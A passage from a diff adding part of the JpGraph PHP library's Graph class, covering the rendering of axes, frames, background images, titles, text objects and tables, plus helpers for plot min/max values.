+		if( $this->bands[$i]->depth == DEPTH_FRONT )
+		    $this->bands[$i]->Stroke($this->img,$this->xscale,$this->yscale);
+	    }
+
+	if( $this->y2bands!= null && $this->y2scale != null )
+	    for($i=0; $i < count($this->y2bands); ++$i) {
+		// Stroke all bands that asks to be in the foreground
+		if( $this->y2bands[$i]->depth == DEPTH_FRONT )
+		    $this->y2bands[$i]->Stroke($this->img,$this->xscale,$this->y2scale);
+	    }
+
+
+	// Stroke any lines added
+	if( $this->lines != null ) {
+	    for($i=0; $i < count($this->lines); ++$i) {
+		$this->lines[$i]->Stroke($this->img,$this->xscale,$this->yscale);
+		$this->lines[$i]->DoLegend($this);
+	    }
+	}
+
+	if( $this->y2lines != null && $this->y2scale != null ) {
+	    for($i=0; $i < count($this->y2lines); ++$i) {
+		$this->y2lines[$i]->Stroke($this->img,$this->xscale,$this->y2scale);
+		$this->y2lines[$i]->DoLegend($this);
+	    }
+	}
+
+	// Finally draw the axis again since some plots may have nagged
+	// the axis in the edges.
+	if( !$_csim ) {
+	    $this->StrokeAxis();
+	}
+
+	if( $this->y2scale != null && !$_csim ) 
+	    $this->y2axis->Stroke($this->xscale,false); 	
+		
+	if( !$_csim ) {
+	    $this->StrokePlotBox();
+	}
+		
+	// The titles and legends never gets rotated so make sure
+	// that the angle is 0 before stroking them				
+	$aa = $this->img->SetAngle(0);
+	$this->StrokeTitles();
+	$this->footer->Stroke($this->img);
+	$this->legend->Stroke($this->img);		
+	$this->img->SetAngle($aa);	
+	$this->StrokeTexts();	
+	$this->StrokeTables();
+
+	if( !$_csim ) {
+
+	    $this->img->SetAngle($aa);	
+			
+	    // Draw an outline around the image map	
+	    if(_JPG_DEBUG) {
+		$this->DisplayClientSideaImageMapAreas();		
+	    }
+	    
+	    // Should we do any final image transformation
+	    if( $this->iImgTrans ) {
+		if( !class_exists('ImgTrans',false) ) {
+		    require_once('jpgraph_imgtrans.php');
+		    //JpGraphError::Raise('In order to use image transformation you must include the file jpgraph_imgtrans.php in your script.');
+		}
+	       
+		$tform = new ImgTrans($this->img->img);
+		$this->img->img = $tform->Skew3D($this->iImgTransHorizon,$this->iImgTransSkewDist,
+						 $this->iImgTransDirection,$this->iImgTransHighQ,
+						 $this->iImgTransMinSize,$this->iImgTransFillColor,
+						 $this->iImgTransBorder);
+	    }
+
+	    // If the filename is given as the special "__handle"
+	    // then the image handler is returned and the image is NOT
+	    // streamed back
+	    if( $aStrokeFileName == _IMG_HANDLER ) {
+		return $this->img->img;
+	    }
+	    else {
+		// Finally stream the generated picture					
+		$this->cache->PutAndStream($this->img,$this->cache_name,$this->inline,$aStrokeFileName);		
+	    }
+	}
+    }
+
+    function SetAxisLabelBackground($aType,$aXFColor='lightgray',$aXColor='black',$aYFColor='lightgray',$aYColor='black') {
+	$this->iAxisLblBgType = $aType;
+	$this->iXAxisLblBgFillColor = $aXFColor;
+	$this->iXAxisLblBgColor = $aXColor;
+	$this->iYAxisLblBgFillColor = $aYFColor;
+	$this->iYAxisLblBgColor = $aYColor;
+    }
+
+//---------------
+// PRIVATE METHODS	
+
+    function StrokeAxisLabelBackground() {
+	// Types 
+	// 0 = No background
+	// 1 = Only X-labels, length of axis
+	// 2 = Only Y-labels, length of axis
+	// 3 = As 1 but extends to width of graph
+	// 4 = As 2 but extends to height of graph
+	// 5 = Combination of 3 & 4
+	// 6 = Combination of 1 & 2
+ 
+	$t = $this->iAxisLblBgType ;
+	if( $t < 1 ) return;
+	// Stroke optional X-axis label background color
+	if( $t == 1 || $t == 3 || $t == 5 || $t == 6 ) {
+	    $this->img->PushColor($this->iXAxisLblBgFillColor);
+	    if( $t == 1 || $t == 6 ) {
+		$xl = $this->img->left_margin;
+		$yu = $this->img->height - $this->img->bottom_margin + 1;
+		$xr = $this->img->width - $this->img->right_margin ;
+		$yl = $this->img->height-1-$this->frame_weight;
+	    }
+	    else { // t==3 || t==5
+		$xl = $this->frame_weight;
+		$yu = $this->img->height - $this->img->bottom_margin + 1;
+		$xr = $this->img->width - 1 - $this->frame_weight;
+		$yl = $this->img->height-1-$this->frame_weight;
+	    }
+
+	    $this->img->FilledRectangle($xl,$yu,$xr,$yl);
+	    $this->img->PopColor();
+
+	    // Check if we should add the vertical lines at left and right edge
+	    if( $this->iXAxisLblBgColor !== '' ) {
+		// Hardcode to one pixel wide
+		$this->img->SetLineWeight(1); 
+		$this->img->PushColor($this->iXAxisLblBgColor);
+		if( $t == 1 || $t == 6 ) {
+		    $this->img->Line($xl,$yu,$xl,$yl);
+		    $this->img->Line($xr,$yu,$xr,$yl);
+		}
+		else {
+		    $xl = $this->img->width - $this->img->right_margin ;
+		    $this->img->Line($xl,$yu-1,$xr,$yu-1);
+		}
+		$this->img->PopColor();
+	    }
+	}
+
+	if( $t == 2 || $t == 4 || $t == 5 || $t == 6 ) {
+	    $this->img->PushColor($this->iYAxisLblBgFillColor);
+	    if( $t == 2 || $t == 6 ) {	    
+		$xl = $this->frame_weight;
+		$yu = $this->frame_weight+$this->img->top_margin;
+		$xr = $this->img->left_margin - 1;
+		$yl = $this->img->height - $this->img->bottom_margin + 1;
+	    }
+	    else {
+		$xl = $this->frame_weight;
+		$yu = $this->frame_weight;
+		$xr = $this->img->left_margin - 1;
+		$yl = $this->img->height-1-$this->frame_weight;
+	    }
+
+	    $this->img->FilledRectangle($xl,$yu,$xr,$yl);
+	    $this->img->PopColor();
+
+	    // Check if we should add the vertical lines at left and right edge
+	    if( $this->iXAxisLblBgColor !== '' ) {
+		$this->img->PushColor($this->iXAxisLblBgColor);
+		if( $t == 2 || $t == 6 ) {
+		    $this->img->Line($xl,$yu-1,$xr,$yu-1);
+		    $this->img->Line($xl,$yl-1,$xr,$yl-1);		    
+		}
+		else {
+		    $this->img->Line($xr+1,$yu,$xr+1,$this->img->top_margin);		    
+		}
+		$this->img->PopColor();
+	    }
+
+	}
+    }
+
+    function StrokeAxis($aStrokeLabels=true) {
+	
+	if( $aStrokeLabels ) {
+	    $this->StrokeAxisLabelBackground();
+	}
+
+	// Stroke axis
+	if( $this->iAxisStyle != AXSTYLE_SIMPLE ) {
+	    switch( $this->iAxisStyle ) {
+	        case AXSTYLE_BOXIN :
+	            $toppos = SIDE_DOWN;
+		    $bottompos = SIDE_UP;
+	            $leftpos = SIDE_RIGHT;
+	            $rightpos = SIDE_LEFT;
+	            break;
+		case AXSTYLE_BOXOUT :
+		    $toppos = SIDE_UP;
+	            $bottompos = SIDE_DOWN;	    
+	            $leftpos = SIDE_LEFT;
+		    $rightpos = SIDE_RIGHT;
+	            break;
+		case AXSTYLE_YBOXIN:
+	            $toppos = FALSE; 
+		    $bottompos = SIDE_UP;
+	            $leftpos = SIDE_RIGHT;
+	            $rightpos = SIDE_LEFT;
+		    break;
+		case AXSTYLE_YBOXOUT:
+		    $toppos = FALSE;
+	            $bottompos = SIDE_DOWN;	    
+	            $leftpos = SIDE_LEFT;
+		    $rightpos = SIDE_RIGHT;
+		    break;
+		default:
+	            JpGRaphError::RaiseL(25036,$this->iAxisStyle); //('Unknown AxisStyle() : '.$this->iAxisStyle);
+	            break;
+	    }
+	    
+	    // By default we hide the first label so it doesn't cross the
+	    // Y-axis in case the positon hasn't been set by the user.
+	    // However, if we use a box we always want the first value
+	    // displayed so we make sure it will be displayed.
+	    $this->xscale->ticks->SupressFirst(false);    
+
+	    // Now draw the bottom X-axis
+	    $this->xaxis->SetPos('min');
+	    $this->xaxis->SetLabelSide(SIDE_DOWN);
+	    $this->xaxis->scale->ticks->SetSide($bottompos);
+	    $this->xaxis->Stroke($this->yscale,$aStrokeLabels);
+
+	    if( $toppos !== FALSE ) {
+		// We also want a top X-axis
+		$this->xaxis = $this->xaxis;
+		$this->xaxis->SetPos('max');
+		$this->xaxis->SetLabelSide(SIDE_UP);
+		// No title for the top X-axis 
+		if( $aStrokeLabels ) {
+		    $this->xaxis->title->Set('');
+		}
+		$this->xaxis->scale->ticks->SetSide($toppos);
+		$this->xaxis->Stroke($this->yscale,$aStrokeLabels);
+	    }
+
+	    // Stroke the left Y-axis
+	    $this->yaxis->SetPos('min');
+	    $this->yaxis->SetLabelSide(SIDE_LEFT);
+	    $this->yaxis->scale->ticks->SetSide($leftpos);
+	    $this->yaxis->Stroke($this->xscale,$aStrokeLabels);
+
+	    // Stroke the  right Y-axis
+	    $this->yaxis->SetPos('max');
+	    // No title for the right side 
+	    if( $aStrokeLabels ) {
+		$this->yaxis->title->Set('');
+	    }
+	    $this->yaxis->SetLabelSide(SIDE_RIGHT);
+	    $this->yaxis->scale->ticks->SetSide($rightpos);
+	    $this->yaxis->Stroke($this->xscale,$aStrokeLabels);  
+	}
+	else {
+	    $this->xaxis->Stroke($this->yscale,$aStrokeLabels);
+	    $this->yaxis->Stroke($this->xscale,$aStrokeLabels);		
+	}
+    }
+
+
+    // Private helper function for backgound image
+    static function LoadBkgImage($aImgFormat='',$aFile='',$aImgStr='') {
+	if( $aImgStr != '' ) {
+	    return Image::CreateFromString($aImgStr);
+	}
+
+	// Remove case sensitivity and setup appropriate function to create image
+	// Get file extension. This should be the LAST '.' separated part of the filename
+	$e = explode('.',$aFile);
+	$ext = strtolower($e[count($e)-1]);
+	if ($ext == "jpeg")  {
+	    $ext = "jpg";
+	}
+	
+	if( trim($ext) == '' ) 
+	    $ext = 'png';  // Assume PNG if no extension specified
+
+	if( $aImgFormat == '' )
+	    $imgtag = $ext;
+	else
+	    $imgtag = $aImgFormat;
+
+	$supported = imagetypes();
+	if( ( $ext == 'jpg' && !($supported & IMG_JPG) ) ||
+	    ( $ext == 'gif' && !($supported & IMG_GIF) ) ||
+	    ( $ext == 'png' && !($supported & IMG_PNG) ) ||
+	    ( $ext == 'bmp' && !($supported & IMG_WBMP) ) ||
+	    ( $ext == 'xpm' && !($supported & IMG_XPM) ) ) {
+
+	    JpGraphError::RaiseL(25037,$aFile);//('The image format of your background image ('.$aFile.') is not supported in your system configuration. ');
+	}
+
+
+	if( $imgtag == "jpg" || $imgtag == "jpeg")
+	{
+	    $f = "imagecreatefromjpeg";
+	    $imgtag = "jpg";
+	}
+	else
+	{
+	    $f = "imagecreatefrom".$imgtag;
+	}
+
+	// Compare specified image type and file extension
+	if( $imgtag != $ext ) {
+	    //$t = "Background image seems to be of different type (has different file extension) than specified imagetype. Specified: '".$aImgFormat."'File: '".$aFile."'";
+	    JpGraphError::RaiseL(25038, $aImgFormat, $aFile);
+	}
+
+	$img = @$f($aFile);
+	if( !$img ) {
+	    JpGraphError::RaiseL(25039,$aFile);//(" Can't read background image: '".$aFile."'");   
+	}
+	return $img;
+    }	
+
+    function StrokeBackgroundGrad() {
+	if( $this->bkg_gradtype < 0  ) 
+	    return;
+	$grad = new Gradient($this->img);
+	if( $this->bkg_gradstyle == BGRAD_PLOT ) {
+	    $xl = $this->img->left_margin;
+	    $yt = $this->img->top_margin;
+	    $xr = $xl + $this->img->plotwidth+1 ;
+	    $yb = $yt + $this->img->plotheight ; 
+	    $grad->FilledRectangle($xl,$yt,$xr,$yb,$this->bkg_gradfrom,$this->bkg_gradto,$this->bkg_gradtype);
+	}
+	else {
+	    $xl = 0;
+	    $yt = 0;
+	    $xr = $xl + $this->img->width - 1;
+	    $yb = $yt + $this->img->height ;
+	    if( $this->doshadow  ) {
+		$xr -= $this->shadow_width; 
+		$yb -= $this->shadow_width; 
+	    }
+	    if( $this->doframe ) {
+		$yt += $this->frame_weight;
+		$yb -= $this->frame_weight;    
+		$xl += $this->frame_weight;
+		$xr -= $this->frame_weight;
+	    }
+	    $aa = $this->img->SetAngle(0);
+	    $grad->FilledRectangle($xl,$yt,$xr,$yb,$this->bkg_gradfrom,$this->bkg_gradto,$this->bkg_gradtype);
+	    $aa = $this->img->SetAngle($aa);
+	}
+    }
+
+    function StrokeFrameBackground() {
+	if( $this->background_image != "" && $this->background_cflag != "" ) {
+	    JpGraphError::RaiseL(25040);//('It is not possible to specify both a background image and a background country flag.');
+	}
+	if( $this->background_image != "" ) {
+	    $bkgimg = $this->LoadBkgImage($this->background_image_format,$this->background_image);
+	}
+	elseif( $this->background_cflag != "" ) {
+	    if( ! class_exists('FlagImages',false) ) {
+		JpGraphError::RaiseL(25041);//('In order to use Country flags as backgrounds you must include the "jpgraph_flags.php" file.');
+	    }
+	    $fobj = new FlagImages(FLAGSIZE4);
+	    $dummy='';
+	    $bkgimg = $fobj->GetImgByName($this->background_cflag,$dummy);
+	    $this->background_image_mix = $this->background_cflag_mix;
+	    $this->background_image_type = $this->background_cflag_type;
+	}
+	else {
+	    return ;
+	}
+
+	$bw = ImageSX($bkgimg);
+	$bh = ImageSY($bkgimg);
+
+	// No matter what the angle is we always stroke the image and frame
+	// assuming it is 0 degree
+	$aa = $this->img->SetAngle(0);
+		
+	switch( $this->background_image_type ) {
+	    case BGIMG_FILLPLOT: // Resize to just fill the plotarea
+		$this->FillMarginArea();
+		$this->StrokeFrame();
+		// Special case to hande 90 degree rotated graph corectly
+		if( $aa == 90 ) {
+		    $this->img->SetAngle(90);
+		    $this->FillPlotArea();
+		    $aa = $this->img->SetAngle(0);
+		    $adj = ($this->img->height - $this->img->width)/2;
+		    $this->img->CopyMerge($bkgimg,
+					  $this->img->bottom_margin-$adj,$this->img->left_margin+$adj,
+					  0,0,
+					  $this->img->plotheight+1,$this->img->plotwidth,
+					  $bw,$bh,$this->background_image_mix);
+
+		}
+		else {
+		    $this->FillPlotArea();
+		    $this->img->CopyMerge($bkgimg,
+					  $this->img->left_margin,$this->img->top_margin,
+					  0,0,$this->img->plotwidth+1,$this->img->plotheight,
+					  $bw,$bh,$this->background_image_mix);
+		}
+		break;
+	    case BGIMG_FILLFRAME: // Fill the whole area from upper left corner, resize to just fit
+		$hadj=0; $vadj=0;
+		if( $this->doshadow ) {
+		    $hadj = $this->shadow_width;
+		    $vadj = $this->shadow_width;
+		}
+		$this->FillMarginArea();
+		$this->FillPlotArea();
+		$this->img->CopyMerge($bkgimg,0,0,0,0,$this->img->width-$hadj,$this->img->height-$vadj,
+				      $bw,$bh,$this->background_image_mix);
+		$this->StrokeFrame();
+		break;
+	    case BGIMG_COPY: // Just copy the image from left corner, no resizing
+		$this->FillMarginArea();
+		$this->FillPlotArea();
+		$this->img->CopyMerge($bkgimg,0,0,0,0,$bw,$bh,
+				      $bw,$bh,$this->background_image_mix);
+		$this->StrokeFrame();
+		break;
+	    case BGIMG_CENTER: // Center original image in the plot area
+		$this->FillMarginArea();
+		$this->FillPlotArea();
+		$centerx = round($this->img->plotwidth/2+$this->img->left_margin-$bw/2);
+		$centery = round($this->img->plotheight/2+$this->img->top_margin-$bh/2);
+		$this->img->CopyMerge($bkgimg,$centerx,$centery,0,0,$bw,$bh,
+				      $bw,$bh,$this->background_image_mix);
+		$this->StrokeFrame();
+		break;
+	    case BGIMG_FREE: // Just copy the image to the specified location
+		$this->img->CopyMerge($bkgimg,
+				      $this->background_image_xpos,$this->background_image_ypos,
+				      0,0,$bw,$bh,$bw,$bh,$this->background_image_mix);
+		$this->StrokeFrame(); // New
+		break;
+	    default:
+		JpGraphError::RaiseL(25042);//(" Unknown background image layout");
+	}			
+	$this->img->SetAngle($aa);		
+    }
+
+    // Private
+    // Draw a frame around the image
+    function StrokeFrame() {
+	if( !$this->doframe ) return;
+
+	if( $this->background_image_type <= 1 && 
+	    ($this->bkg_gradtype < 0 || ($this->bkg_gradtype > 0 && $this->bkg_gradstyle==BGRAD_PLOT)) ) { 
+	    $c = $this->margin_color;
+	}
+	else {
+	    $c = false;
+	}
+	
+	if( $this->doshadow ) {
+	    $this->img->SetColor($this->frame_color);			
+	    $this->img->ShadowRectangle(0,0,$this->img->width,$this->img->height,
+					$c,$this->shadow_width,$this->shadow_color);
+	}
+	elseif( $this->framebevel ) {
+	    if( $c ) {
+		$this->img->SetColor($this->margin_color);
+		$this->img->FilledRectangle(0,0,$this->img->width-1,$this->img->height-1); 
+	    }
+	    $this->img->Bevel(1,1,$this->img->width-2,$this->img->height-2,
+			      $this->framebeveldepth,
+			      $this->framebevelcolor1,$this->framebevelcolor2);
+	    if( $this->framebevelborder ) {
+		$this->img->SetColor($this->framebevelbordercolor);
+		$this->img->Rectangle(0,0,$this->img->width-1,$this->img->height-1);
+	    }
+	}
+	else {
+	    $this->img->SetLineWeight($this->frame_weight);
+	    if( $c ) {
+		$this->img->SetColor($this->margin_color);
+		$this->img->FilledRectangle(0,0,$this->img->width-1,$this->img->height-1); 
+	    }
+	    $this->img->SetColor($this->frame_color);
+	    $this->img->Rectangle(0,0,$this->img->width-1,$this->img->height-1);		
+	}
+    }
+
+    function FillMarginArea() {
+	$hadj=0; $vadj=0;
+	if( $this->doshadow ) {
+	    $hadj = $this->shadow_width;
+	    $vadj = $this->shadow_width;
+	}
+
+	$this->img->SetColor($this->margin_color);
+//	$this->img->FilledRectangle(0,0,$this->img->width-1-$hadj,$this->img->height-1-$vadj); 
+
+	$this->img->FilledRectangle(0,0,$this->img->width-1-$hadj,$this->img->top_margin); 
+	$this->img->FilledRectangle(0,$this->img->top_margin,$this->img->left_margin,$this->img->height-1-$hadj); 
+	$this->img->FilledRectangle($this->img->left_margin+1,
+				    $this->img->height-$this->img->bottom_margin,
+				    $this->img->width-1-$hadj,
+				    $this->img->height-1-$hadj); 
+	$this->img->FilledRectangle($this->img->width-$this->img->right_margin,
+				    $this->img->top_margin+1,
+				    $this->img->width-1-$hadj,
+				    $this->img->height-$this->img->bottom_margin-1); 
+    }
+
+    function FillPlotArea() {
+	$this->img->PushColor($this->plotarea_color);
+	$this->img->FilledRectangle($this->img->left_margin,
+				    $this->img->top_margin,
+				    $this->img->width-$this->img->right_margin,
+				    $this->img->height-$this->img->bottom_margin);	
+	$this->img->PopColor();
+    }
+    
+    // Stroke the plot area with either a solid color or a background image
+    function StrokePlotArea() {
+	// Note: To be consistent we really should take a possible shadow
+	// into account. However, that causes some problem for the LinearScale class
+	// since in the current design it does not have any links to class Graph which
+	// means it has no way of compensating for the adjusted plotarea in case of a 
+	// shadow. So, until I redesign LinearScale we can't compensate for this.
+	// So just set the two adjustment parameters to zero for now.
+	$boxadj = 0; //$this->doframe ? $this->frame_weight : 0 ;
+	$adj = 0; //$this->doshadow ? $this->shadow_width : 0 ;
+
+	if( $this->background_image != "" || $this->background_cflag != "" ) {
+	    $this->StrokeFrameBackground();
+	}
+	else {
+	    $aa = $this->img->SetAngle(0);
+	    $this->StrokeFrame();
+	    $aa = $this->img->SetAngle($aa);
+	    $this->StrokeBackgroundGrad();
+	    if( $this->bkg_gradtype < 0 || 
+		($this->bkg_gradtype > 0 && $this->bkg_gradstyle==BGRAD_MARGIN) ) {
+		$this->FillPlotArea();
+	    }
+	}	
+    }	
+
+    function StrokeIcons() {
+	$n = count($this->iIcons);
+	for( $i=0; $i < $n; ++$i ) {
+	    $this->iIcons[$i]->StrokeWithScale($this->img,$this->xscale,$this->yscale);
+	}
+    }
+	
+    function StrokePlotBox() {
+	// Should we draw a box around the plot area?
+	if( $this->boxed ) {
+	    $this->img->SetLineWeight(1);
+	    $this->img->SetLineStyle('solid');
+	    $this->img->SetColor($this->box_color);
+	    for($i=0; $i < $this->box_weight; ++$i ) {
+		$this->img->Rectangle(
+		    $this->img->left_margin-$i,$this->img->top_margin-$i,
+		    $this->img->width-$this->img->right_margin+$i,
+		    $this->img->height-$this->img->bottom_margin+$i);
+	    }
+	}						
+    }		
+
+    function SetTitleBackgroundFillStyle($aStyle,$aColor1='black',$aColor2='white') {
+	$this->titlebkg_fillstyle = $aStyle;
+	$this->titlebkg_scolor1 = $aColor1;
+	$this->titlebkg_scolor2 = $aColor2;
+    }
+
+    function SetTitleBackground($aBackColor='gray', $aStyle=TITLEBKG_STYLE1, $aFrameStyle=TITLEBKG_FRAME_NONE, $aFrameColor='black', $aFrameWeight=1, $aBevelHeight=3, $aEnable=true) {
+	$this->titlebackground = $aEnable;
+	$this->titlebackground_color = $aBackColor;
+	$this->titlebackground_style = $aStyle;
+	$this->titlebackground_framecolor = $aFrameColor;
+	$this->titlebackground_framestyle = $aFrameStyle;
+	$this->titlebackground_frameweight = $aFrameWeight;	
+	$this->titlebackground_bevelheight = $aBevelHeight ;
+    }
+
+
+    function StrokeTitles() {
+
+	$margin=3;
+
+	if( $this->titlebackground ) {
+
+	    // Find out height
+	    $this->title->margin += 2 ;
+	    $h = $this->title->GetTextHeight($this->img)+$this->title->margin+$margin;
+	    if( $this->subtitle->t != "" && !$this->subtitle->hide ) {
+		$h += $this->subtitle->GetTextHeight($this->img)+$margin+
+		    $this->subtitle->margin;
+		$h += 2;
+	    }
+	    if( $this->subsubtitle->t != "" && !$this->subsubtitle->hide ) {
+		$h += $this->subsubtitle->GetTextHeight($this->img)+$margin+
+		    $this->subsubtitle->margin;
+		$h += 2;
+	    }
+	    $this->img->PushColor($this->titlebackground_color);
+	    if( $this->titlebackground_style === TITLEBKG_STYLE1 ) {
+		// Inside the frame
+		if( $this->framebevel ) {
+		    $x1 = $y1 = $this->framebeveldepth + 1 ;
+		    $x2 = $this->img->width - $this->framebeveldepth - 2 ; 
+		    $this->title->margin += $this->framebeveldepth + 1 ;
+		    $h += $y1 ;
+		    $h += 2;
+		}
+		else {
+		    $x1 = $y1 = $this->frame_weight;
+		    $x2 = $this->img->width - 2*$x1;
+		}
+	    }
+	    elseif( $this->titlebackground_style === TITLEBKG_STYLE2 ) {
+		// Cover the frame as well
+		$x1 = $y1 = 0;
+		$x2 = $this->img->width - 1 ;
+	    }
+	    elseif( $this->titlebackground_style === TITLEBKG_STYLE3 ) {
+		// Cover the frame as well (the difference is that
+		// for style==3 a bevel frame border is on top
+		// of the title background)
+		$x1 = $y1 = 0;
+		$x2 = $this->img->width - 1 ;
+		$h += $this->framebeveldepth ;
+		$this->title->margin += $this->framebeveldepth ;
+	    }
+	    else {
+		JpGraphError::RaiseL(25043);//('Unknown title background style.');
+	    }
+
+	    if( $this->titlebackground_framestyle === 3 ) {
+		$h += $this->titlebackground_bevelheight*2 + 1  ;
+		$this->title->margin += $this->titlebackground_bevelheight ;
+	    }
+
+	    if( $this->doshadow ) {
+		$x2 -= $this->shadow_width ;
+	    }
+	    
+	    $indent=0;
+	    if( $this->titlebackground_framestyle == TITLEBKG_FRAME_BEVEL ) {
+		$ind = $this->titlebackground_bevelheight;
+	    }
+
+	    if( $this->titlebkg_fillstyle==TITLEBKG_FILLSTYLE_HSTRIPED ) {
+		$this->img->FilledRectangle2($x1+$ind,$y1+$ind,$x2-$ind,$h-$ind,
+					     $this->titlebkg_scolor1,
+					     $this->titlebkg_scolor2);
+	    }
+	    elseif( $this->titlebkg_fillstyle==TITLEBKG_FILLSTYLE_VSTRIPED ) {
+		$this->img->FilledRectangle2($x1+$ind,$y1+$ind,$x2-$ind,$h-$ind,
+					     $this->titlebkg_scolor1,
+					     $this->titlebkg_scolor2,2);
+	    }
+	    else {
+		// Solid fill
+		$this->img->FilledRectangle($x1,$y1,$x2,$h);
+	    }
+	    $this->img->PopColor();
+
+	    $this->img->PushColor($this->titlebackground_framecolor);
+	    $this->img->SetLineWeight($this->titlebackground_frameweight);
+	    if( $this->titlebackground_framestyle == TITLEBKG_FRAME_FULL ) {
+		// Frame background
+		$this->img->Rectangle($x1,$y1,$x2,$h);
+	    }
+	    elseif( $this->titlebackground_framestyle == TITLEBKG_FRAME_BOTTOM ) {
+		// Bottom line only
+		$this->img->Line($x1,$h,$x2,$h);
+	    }
+	    elseif( $this->titlebackground_framestyle == TITLEBKG_FRAME_BEVEL ) {
+		$this->img->Bevel($x1,$y1,$x2,$h,$this->titlebackground_bevelheight);
+	    }
+	    $this->img->PopColor();
+
+	    // This is clumsy. But we neeed to stroke the whole graph frame if it is
+	    // set to bevel to get the bevel shading on top of the text background
+	    if( $this->framebevel && $this->doframe && 
+		$this->titlebackground_style === 3 ) {
+		$this->img->Bevel(1,1,$this->img->width-2,$this->img->height-2,
+				  $this->framebeveldepth,
+				  $this->framebevelcolor1,$this->framebevelcolor2);
+		if( $this->framebevelborder ) {
+		    $this->img->SetColor($this->framebevelbordercolor);
+		    $this->img->Rectangle(0,0,$this->img->width-1,$this->img->height-1);
+		}
+	    }
+	}
+
+	// Stroke title
+	$y = $this->title->margin; 
+	if( $this->title->halign == 'center' ) 
+	    $this->title->Center(0,$this->img->width,$y);
+	elseif( $this->title->halign == 'left' ) {
+	    $this->title->SetPos($this->title->margin+2,$y);
+	}
+	elseif( $this->title->halign == 'right' ) {
+	    $indent = 0;
+	    if( $this->doshadow ) 
+		$indent = $this->shadow_width+2;
+	    $this->title->SetPos($this->img->width-$this->title->margin-$indent,$y,'right');	    
+	}
+	$this->title->Stroke($this->img);
+		
+	// ... and subtitle
+	$y += $this->title->GetTextHeight($this->img) + $margin + $this->subtitle->margin;
+	if( $this->subtitle->halign == 'center' ) 
+	    $this->subtitle->Center(0,$this->img->width,$y);
+	elseif( $this->subtitle->halign == 'left' ) {
+	    $this->subtitle->SetPos($this->subtitle->margin+2,$y);
+	}
+	elseif( $this->subtitle->halign == 'right' ) {
+	    $indent = 0;
+	    if( $this->doshadow ) 
+		$indent = $this->shadow_width+2;
+	    $this->subtitle->SetPos($this->img->width-$this->subtitle->margin-$indent,$y,'right'); 
+	}
+	$this->subtitle->Stroke($this->img);
+
+	// ... and subsubtitle
+	$y += $this->subtitle->GetTextHeight($this->img) + $margin + $this->subsubtitle->margin;
+	if( $this->subsubtitle->halign == 'center' ) 
+	    $this->subsubtitle->Center(0,$this->img->width,$y);
+	elseif( $this->subsubtitle->halign == 'left' ) {
+	    $this->subsubtitle->SetPos($this->subsubtitle->margin+2,$y);
+	}
+	elseif( $this->subsubtitle->halign == 'right' ) {
+	    $indent = 0;
+	    if( $this->doshadow ) 
+		$indent = $this->shadow_width+2;
+	    $this->subsubtitle->SetPos($this->img->width-$this->subsubtitle->margin-$indent,$y,'right'); 
+	}
+	$this->subsubtitle->Stroke($this->img);
+
+	// ... and fancy title
+	$this->tabtitle->Stroke($this->img);
+
+    }
+
+    function StrokeTexts() {
+	// Stroke any user added text objects
+	if( $this->texts != null ) {
+	    for($i=0; $i < count($this->texts); ++$i) {
+		$this->texts[$i]->StrokeWithScale($this->img,$this->xscale,$this->yscale);
+	    }
+	}
+
+	if( $this->y2texts != null && $this->y2scale != null ) {
+	    for($i=0; $i < count($this->y2texts); ++$i) {
+		$this->y2texts[$i]->StrokeWithScale($this->img,$this->xscale,$this->y2scale);
+	    }
+	}
+
+    }
+
+    function StrokeTables() {
+	if( $this->iTables != null ) {
+	    $n = count($this->iTables);
+	    for( $i=0; $i < $n; ++$i ) {
+		$this->iTables[$i]->StrokeWithScale($this->img,$this->xscale,$this->yscale);
+	    }
+	}
+    }
+
+    function DisplayClientSideaImageMapAreas() {
+	// Debug stuff - display the outline of the image map areas
+	$csim='';
+	foreach ($this->plots as $p) {
+	    $csim.= $p->GetCSIMareas();
+	}
+	$csim .= $this->legend->GetCSIMareas();
+	if (preg_match_all("/area shape=\"(\w+)\" coords=\"([0-9\, ]+)\"/", $csim, $coords)) {
+	    $this->img->SetColor($this->csimcolor);
+	    $n = count($coords[0]);
+	    for ($i=0; $i < $n; $i++) {
+		if ($coords[1][$i]=="poly") {
+		    preg_match_all('/\s*([0-9]+)\s*,\s*([0-9]+)\s*,*/',$coords[2][$i],$pts);
+		    $this->img->SetStartPoint($pts[1][count($pts[0])-1],$pts[2][count($pts[0])-1]);
+		    $m = count($pts[0]);
+		    for ($j=0; $j < $m; $j++) {
+			$this->img->LineTo($pts[1][$j],$pts[2][$j]);
+		    }
+		} else if ($coords[1][$i]=="rect") {
+		    $pts = preg_split('/,/', $coords[2][$i]);
+		    $this->img->SetStartPoint($pts[0],$pts[1]);
+		    $this->img->LineTo($pts[2],$pts[1]);
+		    $this->img->LineTo($pts[2],$pts[3]);
+		    $this->img->LineTo($pts[0],$pts[3]);
+		    $this->img->LineTo($pts[0],$pts[1]);					
+		}
+	    }
+	}
+    }
+
+    // Text scale offset in world coordinates
+    function SetTextScaleOff($aOff) {
+	$this->text_scale_off = $aOff;
+	$this->xscale->text_scale_off = $aOff;
+    }
+
+    // Text width of bar to be centered in absolute pixels
+    function SetTextScaleAbsCenterOff($aOff) {
+	$this->text_scale_abscenteroff = $aOff;
+    }
+
+    // Get Y min and max values for added lines
+    function GetLinesYMinMax( $aLines ) {
+	$n = count($aLines);
+	if( $n == 0 ) return false;
+	$min = $aLines[0]->scaleposition ;
+	$max = $min ;
+	$flg = false;
+	for( $i=0; $i < $n; ++$i ) {
+	    if( $aLines[$i]->direction == HORIZONTAL ) {
+		$flg = true ;
+		$v = $aLines[$i]->scaleposition ;
+		if( $min > $v ) $min = $v ;
+		if( $max < $v ) $max = $v ;
+	    }
+	}
+	return $flg ? array($min,$max) : false ;
+    }
+
+    // Get X min and max values for added lines
+    function GetLinesXMinMax( $aLines ) {
+	$n = count($aLines);
+	if( $n == 0 ) return false ;
+	$min = $aLines[0]->scaleposition ;
+	$max = $min ;
+	$flg = false;
+	for( $i=0; $i < $n; ++$i ) {
+	    if( $aLines[$i]->direction == VERTICAL ) {
+		$flg = true ;
+		$v = $aLines[$i]->scaleposition ;
+		if( $min > $v ) $min = $v ;
+		if( $max < $v ) $max = $v ;
+	    }
+	}
+	return $flg ? array($min,$max) : false ;
+    }
+
+    // Get min and max values for all included plots
+    function GetPlotsYMinMax($aPlots) {
+	$n = count($aPlots);
+	$i=0;
+	do { 
+	    list($xmax,$max) = $aPlots[$i]->Max();
+	} while( ++$i < $n && !is_numeric($max) );
+
+	$i=0;
+	do { 
+	    list($xmin,$min) = $aPlots[$i]->Min();
+	} while( ++$i < $n && !is_numeric($min) );
+	
+	if( !is_numeric($min) || !is_numeric($max) ) {
